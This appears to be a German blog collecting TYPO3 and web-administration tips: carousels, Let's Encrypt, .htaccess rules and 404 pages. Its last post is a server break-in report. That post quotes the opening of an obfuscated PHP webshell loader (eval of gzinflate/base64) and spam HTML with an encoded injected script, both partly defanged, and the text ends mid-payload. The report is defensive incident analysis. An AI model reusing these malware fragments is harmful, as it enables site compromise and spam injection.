Hier nun eine verbesserte Version des Bootstrap Carousels. Diese Version zeigt alle Bilder an, die in den Seiten-Eigenschaften definiert sind. Zusätzlich werden die Metainformation des jeweiligen Bildes dargestellt. Ich habe mich dabei an der Vorlage unter Blog Teamgeist-Medien orientiert.

 lib.field_headerimage = COA

 lib.field_headerimage {
  wrap (
     <div id="skiplink">
       <a class="skip" title="Direkt zur Navigation springen" href="#navigation">Zur Navigation springen</a><br>
       <a class="skip" title="Direkt zum Content springen" href="#content">Zum Content springen</a>
     </div>
     <div id="blogo">
        <a href="/"><img src="fileadmin/user_upload/Logo_trans.png" /></a>
     </div>
     <div id="hslider" class="carousel slide carousel-fade" data-ride="carousel"  data-interval="5000">|</div>
  )
  #Hier hole ich die Bilder aus den Seiteneigenschaften(Ressourcen/Media) um die Navigation zu erstellen.
  10 = FILES
  10 {
    stdWrap.wrap = <ol class="carousel-indicators">|</ol>
    references {
      data = levelmedia:-1, slide
      treatIdAsReference = 1
    }
    renderObj = TEXT
    renderObj {
      wrap = <li data-target="#hslider" data-slide-to="|" class="active"></li>|*|<li data-target="#hslider" data-slide-to="|"></li>
      value = {register:FILE_NUM_CURRENT}
      insertData = 1
    } #Ende renderObj
  } #Ende 10

  #Hier nochmal das gleiche Spiel nur mit Ausgabe der Bilder
  20 = FILES
  20 {
    stdWrap.wrap = <div class="carousel-inner">|</div>
    references {
      data = levelmedia:-1, slide
      treatIdAsReference = 1
    }
    renderObj = COA
    renderObj {
      wrap = <div class="item active">|</div>|*|<div class="item">|</div>
      3 = IMAGE
      3 {
        stdWrap.wrap = |
        stdWrap.required = 1
        file.import.data = file:current:originalUid
        # Setze den Link der im Bild eingestellt ist um das Bild
        stdWrap.typolink.parameter.data = file:current:link
        altText.data = file:current:alternative
        titleText.data = file:current:alternative
      } #Ende 3
      # Hier Titel und Beschreibung für das Bild, wird auch vom Link umgeben.
      6 = COA
      6 {
        # alles nur, wenn Titel gesetzt ist
        if.isTrue.data = file:current:title
        wrap = <div class="carousel-caption">|</div>
        stdWrap.required = 1
        stdWrap.typolink.parameter.data = file:current:link
        4 = TEXT
        4.wrap = <h3>|</h3>
        4.data = file:current:title
         
        8 = TEXT
        8.wrap = <p>|</p>
        8.data = file:current:description 

      } #Ende 6
    } #Ende renderObj
  } #Ende 20
} #Ende headerimage

Letztendlich wird hier ein Carousel genau nach Beschreibung aufgebaut. Im Wrap ein paar vorbereitende Zeilen (inclusive überlagertem Logo) und dann der Kopf des Carousels mit der Geschwindigkeitsangabe und der Klasse zum Starten.

Danach wird dann unter 10 der Carousel-Indicator aufgebaut, dabei geht Typoscript durch alle Bilder. Wenn man den Indicator nicht haben möchte, dann kann man den ganzen 10er Block einfach weglassen.

Anschließend werden unter 20 die Bilder eingebunden und ggf. mit den Metadaten versehen.

Veröffentlicht unter typo3.

Für ein aktuelle Projekt brauchte ich einen Bilder-Slider im Header. Meine sonstigen Slider sind eher als Content-Elemente gedacht. Daher habe ich mich mit dem Bootstrap Carousel beschäftigt.

Der Slider soll mit dem Bildern aus der Seiteneigenschaft Resourcen arbeiten. Zur Vereinfachung gehe ich einfach davon aus, dass er die ersten drei Bilder benutzt. Bei Gelegenheit muss ich mir dann auch einmal Gedanken über eine Schleifenstruktur durch die vorhandenen Bilder machen.

Mit einer festen Zahl ist die Lösung recht einfach:

 lib.field_headerimage = COA
   lib.field_headerimage.10 = TEXT
   lib.field_headerimage.10.value (
     <div id="skiplink">
     <a class="skip" title="Direkt zur Navigation springen" href="#navigation">Zur Navigation springen</a><br>
     <a class="skip" title="Direkt zum Content springen" href="#content">Zum Content springen</a>
     </div>

    <div id="blogo">
     <a href="/"><img src="fileadmin/user_upload/Logo_trans.png" /></a>
    </div>
    <div id="hslider" class="carousel slide carousel-fade">
    <div class="carousel-inner">
   )

   lib.field_headerimage.20 = IMG_RESOURCE
   lib.field_headerimage.20 {
    file.import.data = levelmedia:2, slide
    file.treatIdAsReference = 1
    file.import.listNum = 0
    stdWrap.wrap = <div class='item active'><a href='/'><img src='|' style='width: 100%;' /></a></div>
   }

   lib.field_headerimage.30 = IMG_RESOURCE
   lib.field_headerimage.30 {
     file.import.data = levelmedia:2, slide
     file.treatIdAsReference = 1
     file.import.listNum = 1
     stdWrap.wrap = <div class='item'><a href='/'><img src='|' style='width: 100%;' /></a></div>
   }

   lib.field_headerimage.40 < lib.field_headerimage.30 
   lib.field_headerimage.40.file.import.listNum = 2
 
   lib.field_headerimage.90 = TEXT
   lib.field_headerimage.90 {
   value = {$styles.content.hspeed}
   wrap (
     </div></div>
     <script type='text/javascript'>$(document).ready(function(){
     $("#hslider").carousel({interval: |});
    });</script>
  )
}

Im ersten Textbereich werden ein paar Standars-Zeilen generiert und dann der Kopf des Carousels definiert. Über das Javascript im letzten Block wird das Carousel aktiviert. Grundsätzlich kann man das Carousel über Javascript oder folgenden Datenblock aktivieren:

<div id="hslider" class="carousel slide carousel-fade" data-ride="carousel" data-interval="5000">

Ich habe die Version per Javascript benutzt, einfach weil sich das aus meiner Vorlage so ergab und mir nicht klar war, ob das auch mit dem Fade funktioniert. Bei Gelegenheit werde ich aber auf die andere Variante ohne Javascript umstellen.

Normalerweise scrollen die Bilder, mit dem Fade-Effekt kommt es zu einer weicheren Überblendung.

 

Veröffentlicht unter typo3.

Für meine Typo3-Erweiterung nettgrids habe ich ein Accordion-Element (Bootstrap Collapse) erstellt. Für ein Projekte wollte ich jetzt erreichen, dass über einen Link jeweils der passende Tab geöffnet wird.

Nach etwas Experimentieren mit Anregung von https://stackoverflow.com/questions/22254248/bootstrap-3-expand-accordion-from-url#answer-33444574 bin ich zu folgendem Javascript gekommen:

<script type="text/javascript"> $("a").click(function () {     
  function show_tab(){
   if(location.hash != null && location.hash != "")
   {         $('.collapse').removeClass('in');
             $(location.hash + '.collapse').collapse('show');     
   }
    }
    window.setTimeout(show_tab, 100);
  }); 
</script>

Das Script kann man einfach in ein HTML-Element vor dem Accordion packen.

Im vorliegenden Listing wird die Javascript-Funktion gestartet, wenn auf einen Link auf der Seite geklickt wird. Man könnte es auch an andere Ereignisse koppeln.

In der Funktion show_tab wird überprüft, ob ein Anker-Links vorhanden ist. Wenn ja, dann wird der aktuelle Tab geschlossen und der Zieltab geöffnet. Um die Funktion herum liegt eine Funktion zur Verzögerung. Ohne Verzögerung wäre der neun Link mit dem Anker-Ziel noch aktuell und der Aufruf käme zu früh. Die Verzögerung ist hier auf 0,1 Sekunden eingestellt.

Veröffentlicht unter typo3.

Meine Schülerfirma Netthelp betreut eine Reihe von Kunden, die ihre Domains bei Domainfactory liegen haben. Wenn bei Netthelp ein Serverwechsel ansteht, dann taucht immer wieder das Problem auf, dass wir die Zugangsdaten der Kunden brauchen. Der letzte Zugriff auf die Domainverwaltung ist dann zum Teil schon mehrere Jahre her und die Zugangsdaten sind nirgends mehr im Zugriff. Dieses Problem trat bei den aktuellen Umstellungen massiv auf, da DF die Regeln für gültige Passwörter geändert hat und ungültige Passwörter dann deaktiviert hatte.

Unser erster Ansatz dieses Problem zu Lösen war eine Cluster-IP bei Strato. Diese IP ist relativ teuer 9,99€ im Monat und für uns nahezu nutzlos, da sie an einen Server-Vertrag gebunden ist. Wenn wir diesen Server wechseln, dann ändert sich auch die Cluster-IP.

Der einzige Ansatz der uns (Dank an Lukas Thiel) jetzt noch einfällt ist eine Domain-Weiterleitung auf eine Netthelp-Subdomain. Dabei muss man ein kleines bisschen tricksen, weil der Grund-Eintrag für linux-diskless.de keine cname sein darf, sondern ein A-Record erwartet wird. Der Trick besteht darin den Eintrag auf Domainfactory zu belassen und dann dort eine Header-Weiterleitung auf www.linux-diskless.de einzurichten. Der Eintrag für „www“ und sogar der für „*“ darf dann ein cname sein.

Für den MX-Eintrag wird ebenfalls linux-diskless.netthelp.de genutzt und keine Subdomain der jeweiligen Domain. Ein MX-Record muss in erster Instanz auf einen A-Record und darf nicht auf einen cname-Record verweisen.

Der einzige Schönheitsfehler besteht in der zwingenden Weiterleitung auf www.

Als Beispiel soll hier die Domain linux-diskless.de dienen:

  1. Ich lege einen A-Record linux-diskless.netthelp.de an, der auf die gewünschte Server-IP zeigt
  2. Nun gehe Ich zur Domain-Verwaltung von linux-diskless.de und lege unter Domain-Einstellungen eine Weiterleitung auf www.linux-diskless.de an (http:// oder wenn konfiguriert besser https://.
  3. Dann folgen die Verweise auf die Netthelp-Subdomain:

Für zukünftige Serverwechsel müssen wir jetzt nur noch den Eintrag für die Netthelp-Subdomain ändern Ein Zugriff auf den DF-Account des Kunden ist nicht mehr notwendig.

Weitere Informationen unter:

Bei vielen Typo3-Seiten gibt es Einträge der Art

config.baseURL= http://<domain>/

im root-Template. Will man dem Benutzer die Wahl lassen zwischen http und https ist das ein Problem, weil dann bei einer sicheren Verbindung Inhalte unsicher nachgeladen werden. Firefox blockt diese Inhalte. Da das  dann oft CSS-Dateien oder ähnliches sind wird die Seite ziemlich verunstaltet.

Eine Lösung besteht darin das benutzte Protokoll zu erfragen. Dazu gibt man im Template unter Konstanten folgenden Code ein:

protocol = http
[globalString = IENV:TYPO3_SSL=1]
  protocol = https
[global]

Nun kann man im Setup darauf Bezug nehmen:

# Das Protokoll wird unter Constants ermittelt
config.baseURL= {$protocol}://<domain>/

Nun klappt das auch mit der sicheren Verbindung.

Veröffentlicht unter typo3.

Mit letsencrypt soll es für alle Webseiten einfach und erschwinglich werden eine Verschlüsselung zu ermöglichen.

Eine schöne Beschreibung findet sich unter https://lukasthiel.de/wiki/SSL-Zertifikate_mit_Let%27s_Encrypt

Installation

Die Installation erfolgt mittels:

cd /root
git clone https://github.com/letsencrypt/letsencrypt

Das Script lädt notwendige Pakete und Aktualisierungen beim ersten Aufruf nach, hier z.B. über den Aufruf der Hilfefunktion:

/root/letsencrypt/letsencrypt-auto -h

Dabei werden einige Pakete über die Paketverwaltung der Distribution ergänzt und zusätzlich einiger Python-Code nach /root/.local/share/letsencrypt/ gebracht.

Bootstrapping dependencies for openSUSE-based OSes...

The following 8 NEW packages are going to be installed:
  dialog libdialog11 libffi48-devel python-devel python-pip python-setuptools 
  python-virtualenv python-xml 

The following package is suggested, but will not be installed:
  terminfo 

8 neue Pakete zu installieren.
Gesamtgröße des Downloads: 5,8 MiB. Nach der Operation werden zusätzlich 26,8 
MiB belegt.
Fortfahren? [j/n/? zeigt alle Optionen] (j): j
Creating virtual environment...
Installing Python packages...
...

Am Ende wird der Hilfe-Text ausgegeben.

Das Tool legt an einer Reihe von Stellen Dateien ab:

  • /etc/letsencrypt/  hier liegen die Zertifikate und die zugehörigen Einstellungen
  • /root/.local/share/letsencrypt/ in diesem Verzeichnis liegen die benötigten Python Scripte
  • /var/log/letsencrypt hier liegt die Logdatei und die zugehörigen Archive
  • /var/lib/letsencrypt für Backups
  • /root/letsencrypt vom Benutzer festgelegtes Verzeichnis für das Programmpaket, denkbar z.B. auch /opt/letsencrypt

Zertifikats-Erzeugung im Dialog

Der Aufruf von

/root/letsencrypt/letsencrypt-auto --rsa-key-size 4096 certonly

erzeugt dann im Prinzip das Zertifikat. Bei mit (OpenSUSE) wollte das nicht funktionieren, weil das Tool das Verzeichnis /etc/apache2/sites-enabled vermisste. Nachdem ich das Verzeichnis angelegt hatte (das Verzeichnis selber kann leer bleiben) ließ sich das Zertifikat erzeugen.

Es startet ein fensterbasiertes Tool an der Konsole. Im ersten Schritt gibt man an, wie sich der Webserver gegenüber dem Zertifikats-Aussteller authentifizieren soll. Die einfachste Version besteht darin das Script eine Datei im Webroot der Seite plazieren zu lassen. Dazu muss das Script die Pfade kennen:

letsencrypt-1

letsencrypt-2

letsencrypt-3

letsencrypt-4

Wenn die Datei über den Webserver erreichbar war, dann kommt die Erfolgsmeldung:

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at
   /etc/letsencrypt/live/elearn-server.de/fullchain.pem. Your cert will
   expire on 2016-09-14. To obtain a new or tweaked version of this
   certificate in the future, simply run letsencrypt-auto again. To
   non-interactively renew *all* of your certificates, run
   "letsencrypt-auto renew"
 - If you lose your account credentials, you can recover through
   e-mails sent to <admin>@<domain>.
 - Your account credentials have been saved in your Certbot
   configuration directory at /etc/letsencrypt. You should make a
   secure backup of this folder now. This configuration directory will
   also contain certificates and private keys obtained by Certbot so
   making regular backups of this folder is ideal.
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

Zertifikats-Erzeugung mit Parametern

Man kann sich den Ablauf auch etwas einfacher machen, vor allem, wenn man mehrere Domains betreut, indem man statt der Dialog orientierten Variante eine Parameter orientierte Variante benutzt (alles in einer Zeile):

/root/letsencrypt/letsencrypt-auto --rsa-key-size 4096 certonly --webroot -w /srv/www/vhosts/elearn-server.de/httpdocs/ -d elearn-server.de -d www.elearn-server.de

Für umfangreiche Nutzung kann es noch geschickter sein sich für jede Domain eine Konfigurationsdatei, z.B. letsencrypt.ini, anzulegen

# Wir nutzen 4096 bit RSA key statt 2048
rsa-key-size = 4096

# allgemeine Angaben
email = <admin>@<domain>
authenticator = webroot

# Domains fuer die wir Zertifikate beantragen, die erste in
# der liste legt den Hauptnamen fest. Alle Domains müssen beim
# Aufruf erreichbar sein
domains = elearn-server.de, www.elearn-server.de

# Dies ist das Verzeichnis zur Domain, wo letsencrypt seinen Hash in
# /.well-known/acme-challenge schreiben will. Der Pfad muss auf / enden
webroot-path = /srv/www/vhosts/elearn-server.de/httpdocs/

Aufgerufen wird letsencrypt-auto dann mittels (alles in einer Zeile):

/root/letsencrypt/letsencrypt-auto certonly --config /srv/www/vhosts/elearn-server.de/letsencrypt.ini

Aufpassen muss man aber unbedingt mit Subdomains. Letsencrypt lässt nämlich nur etwa 5 Aufrufe pro Domain und Woche zu. In dem Beispiel sind dann schon zwei Aufrufe verbraucht. Mehr als 5 Subdomains im gleichen Zertifikat sind wohl nicht möglich.

Im Laufe der Erzeugung legt letsencrypt in der Wurzel des angegebenen Servers ein Verzeichnis .well-known an. Das Zertifikat selber wird unter /etc/letsencrypt/live/<domain>/ abgelegt und besteht aus den vier Dateien

  • cert.pem
  • chain.pem
  • fullchain.pem
  • privkey.pem

dies sind Links auf die Dateien

  • /etc/letsencrypt/archive/<domain>/cert1.pem
  • /etc/letsencrypt/archive/<domain>/chain1.pem
  • /etc/letsencrypt/archive/<domain>/fullchain1.pem
  • /etc/letsencrypt/archive/<domain>/privkey1.pem

Diese Verlinkung soll vermutlich die Aktualisierung der Zertifikate vereinfachen.

Apache konfigurieren

Jetzt muss nur noch der Apache-Webserver von den neuen Möglichkeiten wissen. Die notwendigen Einstellungen für den Host sind in der Datei /etc/letsencrypt/options-ssl-apache.conf zu finden:

# Baseline setting to Include for SSL sites

SSLEngine on

# Intermediate configuration, tweak to your needs
SSLProtocol             all -SSLv2 -SSLv3
SSLCipherSuite          ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA
SSLHonorCipherOrder     on
SSLCompression          off

SSLOptions +StrictRequire

# Add vhost name to log entries:
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" vhost_combined
LogFormat "%v %h %l %u %t \"%r\" %>s %b" vhost_common

#CustomLog /var/log/apache2/access.log vhost_combined
#LogLevel warn
#ErrorLog /var/log/apache2/error.log

# Always ensure Cookies have "Secure" set (JAH 2012/1)
#Header edit Set-Cookie (?i)^(.*)(;\s*secure)??((\s*;)?(.*)) "$1; Secure$3$4"

Testen kann man das Zertifikat dann unter https://www.ssllabs.com/ssltest/

Weitere Informationen

Möchte man sein Zertifikat um weitere Subdomains erweitern, so ist das kein Problem. Hat man z.b. nur für <domain> und www.<domain> ein Zertifikat erstellt und möchte jetzt auch blog.<domain> mit aufnehmen, so erweitert man einfach die Liste der Domains entsprechend und löst die Erstellung des Zertifikats erneut aus. Es erscheint jetzt ein Dialog, der nachfragt, ob man das Zertifikat erweitern möchte. Hier klickt man auf Expand und wenn die Subdomain erreichbar ist, dann wir das Zertifikat neu erzeugt.
Laut https://community.letsencrypt.org/t/rate-limits-for-lets-encrypt/6769 gilt hierfür nicht das Limit von 5 pro Woche.

Unter /etc/letsencrypt/csr/ findet man die Key-signing-requests, ein Hinweis darauf, dass das Schlüsselpaar auf dem eigenen Server erzeugt wurde und der private Schlüssel auch letsencrypt nicht bekannt ist.

Bei owncloud gibt es einen Abschnitt in der .htacess, der die Überprüfung durch letsencrypt verhindert:

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteRule ^\.well-known/host-meta /public.php?service=host-meta [QSA,L]
RewriteRule ^\.well-known/host-meta\.json /public.php?service=host-meta-json [QSA,L]
RewriteRule ^\.well-known/carddav /remote.php/carddav/ [R=301,L]
RewriteRule ^\.well-known/caldav /remote.php/caldav/ [R=301,L] 
RewriteRule ^apps/calendar/caldav\.php remote.php/caldav/ [QSA,L]
RewriteRule ^apps/contacts/carddav\.php remote.php/carddav/ [QSA,L]
RewriteRule ^remote/(.*) remote.php [QSA,L]
RewriteRule ^(build|tests|config|lib|3rdparty|templates)/.* - [R=404,L]
RewriteRule ^(\.|autotest|occ|issue|indie|db_|console).* - [R=404,L] 
</IfModule>

Das Einfügen der Zeile

RewriteRule ^\.well-known/acme-challenge - [L]

löst das Problem. Mal sehen,  ob es Seiteneffekte gibt.

 

Löschen von Schlüsseln

Mit

/root/letsencrypt/certbot-auto certificates

kann man abfragen, wie die Zertifikate auf dem Server genau heißen und die zugehörigen Dateien dann mittels

/root/letsencrypt/certbot-auto delete --cert-name <gefundener Name>

vom eigenen Server entfernen.

Mit folgendem Kommando kann man abfragen, welche Domains im Zertifikat eingetragen sind:

openssl x509 -in /etc/letsencrypt/live/<domain-bezeichnung>/cert.pem -text -noout | grep DNS

Mit den Schritten ist das Zertifikat selber aber nicht gelöscht, das wäre dann erst nach einigen Tagen automatisch der Fall. Noch nicht getestet habe ich die Schritte:

certbot revoke --cert-path /PATH/TO/cert.pem --key-path /PATH/TO/key.pem

das müsste natürlich vor dem Löschen der lokalen Dateien erfolgen.

 

Links

Ich bin jetzt zweimal auf ein Problem im Zusammenhang mit Typo3 und dem Nivo-Slider gestoßen. In beiden Fällen hat ein Browser die Bilder im Slider bei jedem Durchlauf neu geladen und damit eine gewisse Netzlast erzeugt, natürlich abhängig von der Internetanbindung des zugehörigen Rechners.

In einem ersten Durchlauf habe ich die zugehörige IP mit iptables blockiert und konnte anhand der IP den Verursacher erreichen. Im zweiten Fall ist das aber ein Ntuzer mit dynamischer IP, die sich täglich ändert. Das kann auf Dauer mühsam werden da am Ball zu bleiben, zumal der Verursacher keine weiteren Informationen bekommt.

Daher habe ich jetzt versucht per .htaccess der IP-Adresse eine andere Seite mit Probleminformationen zukommen zu lassen. Dazu habe ich die .htaccess von dem zugehörigen Typo3-System um folgende Zeilen erweitert:

RewriteCond %{REMOTE_ADDR} ^192\.168\.1\.1$  
RewriteCond %{REQUEST_URI} !^\/sorry\.html
RewriteRule $ /sorry.html [R=302,L]

Die IP-Adresse habe ich hier natürlich verändert.

Jeder Aufruf von dem Rechner aus wird also auf die Seite sorry.html umgeleitet, die Hinweise auf das Problem liefert.

Quellen:
http://www.the-art-of-web.com/system/rewrite/
http://www.modrewrite.de/mod-rewrite/beispiele/ip-bereiche-blocken/

Ich bin gerade dabei mich mit dem Framework Bootstrap zu beschäftigen. Dabei tauchte mal wieder das Problem der gleich langen Spalten auf, das anscheinend in den zugehörigen Anleitungen nirgends beschrieben wird. Ein dreispaltiges Lyout beschreibt man dort z.B. mittels:

<div class="container">
  <div class="row">
    <div class="col-md-3">Spalte1</div>
    <div class="col-md-6">Spalte2</div>
    <div class="col-md-3">Spalte3</div>
  </div>
</div>

Leider sind dabei die Spalten ungleich hoch, abhängig von der Menge an Text, wenn sie einen Hintergrund besitzen. Eine einfache Lösung besteht darin zwei zusätzlich CSS-Klassen einzuführen:

.equal{
    margin-bottom: -99999px;
    padding-bottom: 99999px;
    background-color:#efefef;
}

.equalheight {
    overflow: hidden; 
}

Die drei Spalten werden durch den negativen unteren Rand sehr weit ausgedehnt, gleichzeitig wird dies durch das gleichgroße Padding wieder aufgehoben. Alle Spalten haben also quasi einen unteren Farbigen Rand von 9999 Pixeln. Das äußere Element schneidet den überflüssigen Teil durch das overflow: hidden dann ab, wodurch alle Spalten die gleiche Länge bekommen.

<div class="container equalheight">
  <div class="row">
    <div class="col-md-3 equal">Spalte1</div>
    <div class="col-md-6 equal">Spalte2</div>
    <div class="col-md-3 equal">Spalte3</div>
  </div>
</div>

Weitere Lösungen zu dem gleichen Problem finden sich auf folgenden Seiten:

Es ist nicht ganz einfach Informationen zu finden, wie man bei Typo3 zu korrekten Fehlerseiten kommt, die auch einen 404er Fehlercode zurückliefern, vor allem wenn man mit simulatestatic arbeitet. Untersuchen kann man den gelieferten Fehlercode übrigens recht einfach mit der Firefox-Extension Firebug. In der Rubrik Netzwerk wird dort bei einem Seitenaufruf auch der Statuscode mit angezeigt.

Es gibt bei Typo3-Seiten eigentlich zwei unterschiedliche Situationen:

  1. Typo3 wird direkt (/index.php?id=000) oder indirekt (/000.html) mit einer illegalen id aufgerufen
  2. Die Domain wird mit einer URL aufgerufen, die nicht zur Typo3-Installation passt, z.B. mit einem Unterverzeichnis (/mediawiki/..)

Der erste Fall ist relativ einfach zu regeln, man erstellt in Typo3 eine Fehlerseite (hier fehler404.html) und erweitert die Konfigurationsdatei typo3conf/localconf.php folgendermaßen:

[FE][pageNotFound_handling] = /fehler404.html
[FE][pageNotFound_handling_statheader] = HTTP/1.0 404 Not Found

Damit wird für den Fall einer illegalen id die Fehlerseite aufgerufen und ein 404er Fehlercode zurückgeliefert.

Bleibt noch der zweite Fall. Typo3 würde in der Regel die Startseite liefern, egal was aufgerufen wurde. War in der aufgerufenen URL ein Unterverzeichnis angegeben, so wird das in dem Sinne berücksichtigt, dass Typo3 das Stylesheet nicht mehr findet. Die ausgelieferte Seite sieht also ganz komisch aus.

Um das zu ändern muss man an die Datei .htaccess ran, die man für simulatestatic ja aktivieren musste. Hier die .htacess, so wie sie von Typo3 geliefert wurde, ich habe alle Kommentarzeilen entfernt. Verändert habe ich lediglich die vorletzte Zeile:

<FilesMatch "\.(js|css)$">
  <IfModule mod_expires.c>
    ExpiresActive on
    ExpiresDefault "access plus 7 days"
  </IfModule>
  FileETag MTime Size
</FilesMatch>

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ $1.$3 [L]

RewriteRule ^(typo3/|t3lib/|fileadmin/|typo3conf/|typo3temp/|uploads/|favicon\.ico) - [L]

RewriteRule ^typo3$ typo3/index_re.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule .* index.php?id=000 [L]

</IfModule>

In vielen Versionen der Datei werden nur Dateien mit der Endung .html ersetzt (RewriteRule ^[^/]*\.html$ index.php), hier wird jetzt immer die index.php aufgerufen, wenn die ursprüngliche Datei nicht gefunden wurde. Die index.php wird aber mit einer illegalen id aufgerufen, so dass ein Fehler nach Punkt 1 erzeugt wird. Typo3 wertet die übergebene id als String aus und nicht numerisch, eine id 000 wird es als sicherlich nicht geben, da beim Erzeugen einer Seite die id numerisch festgelegt wird. Die Idee dazu stammt von http://typo3.toaster-schwerin.de/typo3_dev/2008_04/msg00492.html.

Sofern die ursprünglich aufgerufenen id gültig war, spielt diese fehlerhafte id keine Rolle. Eine Erklärung dafür habe ich nicht, eventuell hat das etwas mit der Auswertungsreihenfolge von GET/POST Daten zu tun. Von daher ist nicht sichergestellt, dass dieser Trick auch in zukünftigen Typo3-Versionen funktioniert.

Ein Problem gibt es aber, wenn ein Slash (/) im Dateinamen auftaucht, dann gibt es zwar einen korrekten 404er Returncode, aber eine nackte Fehlerseite, da wieder das CSS nicht gefunden wird.

Mit

RewriteRule ^[^/]*\.html$ index.php [L]

stattdessen werden nur Adresse ohne Slash (/) ersetzt, bei anderen Adressen wird die Fehlerseite des Apache gezeigt, mit korrektem Fehlercode. Nun gibt es zwei unterschiedliche Fehlerseiten, einerseits die in Typo3, andererseits die vom Webserver. In beiden Fällen wird aber ein korrekter Fehlercode geliefert.

 

In einem meiner Server hat es einen Einbruch gegeben, vermutlich sogar zwei zur gleichen Zeit. Der Einbrecher hat einen Fehler in der Erweitereung eXtplorer genutzt, um eigene PHP-Scripten auf den Server zu laden. Die PHP-Scripten haben zum Teil vorhandene Dateien überschrieben, aber teilweise auch einfach auch fünfstellige Nummer als Dateinamen gehabt. Die Dateien begannen meist mit:

<?php
$auth_pass = "d738664f57d0cc63169931feb9cb5";
$color = "#df5";$default_action = "FilesMan";$default_use_ajax = true;$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp

Die Angaben hinter $auth_pass variierten jeweils, der Rest war ziemlich gleich. Wenn man das dekodiert, dann bekommt man ein nettes Backdoor-Programm, mit dem man auf dem Server eine ganze Menge anfangen kann. Das reicht von einer eingebauten Shell bis zu Zugriffen auf die Datenbank.

Eine Weile war mir nicht klar, was der Angreifer mit dem Backdoor anfangen wollte. Meine eigenen Scripten und auch die Suchprogramme für Rootkits konnten keine veränderten Systemprogramme finden. Die Erklärung hat sich dann in den Joomla Datenbanken gefunden. Dort fanden sich am Ende von vorhandenen Einträgen in die Tabelle jos_content dann Einträge wie:

Hinweis: Ich haue ein paar Leerzeichen in den Code, damit er nicht ausgeführt wird und verändere natürlich auch die Links.

<!-- rk_czxV1dv1UTfErdQy28 -->
<div class="dnn" id="3743610">    
<p>purchase viagra from oots - <a href="http://lee-spammer.com/#836810">viagra online</a></p></div>
<!-- /rk_czxV1dv1UTfErdQy28 --> <!-- rk_czxV1dv1UTfErdQy29 -->
<div class="dnn" id="967814">    <p>buy cialis india <a href="http://spammpharmacy.com/#348">buy cialis online canada - spammpharmacy.com</a>
 buy cialis paypal payment</p></div><!-- /rk_czxV1dv1UTfErdQy29 --> 
<!-- rk_czxV1dv1UTfErdQy28 -->
<sc ript type="text/javascript">docu ment.wri te(une scape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%65%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%33%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%38%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%37%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%39%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%74%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%27%29%3B%7D%64%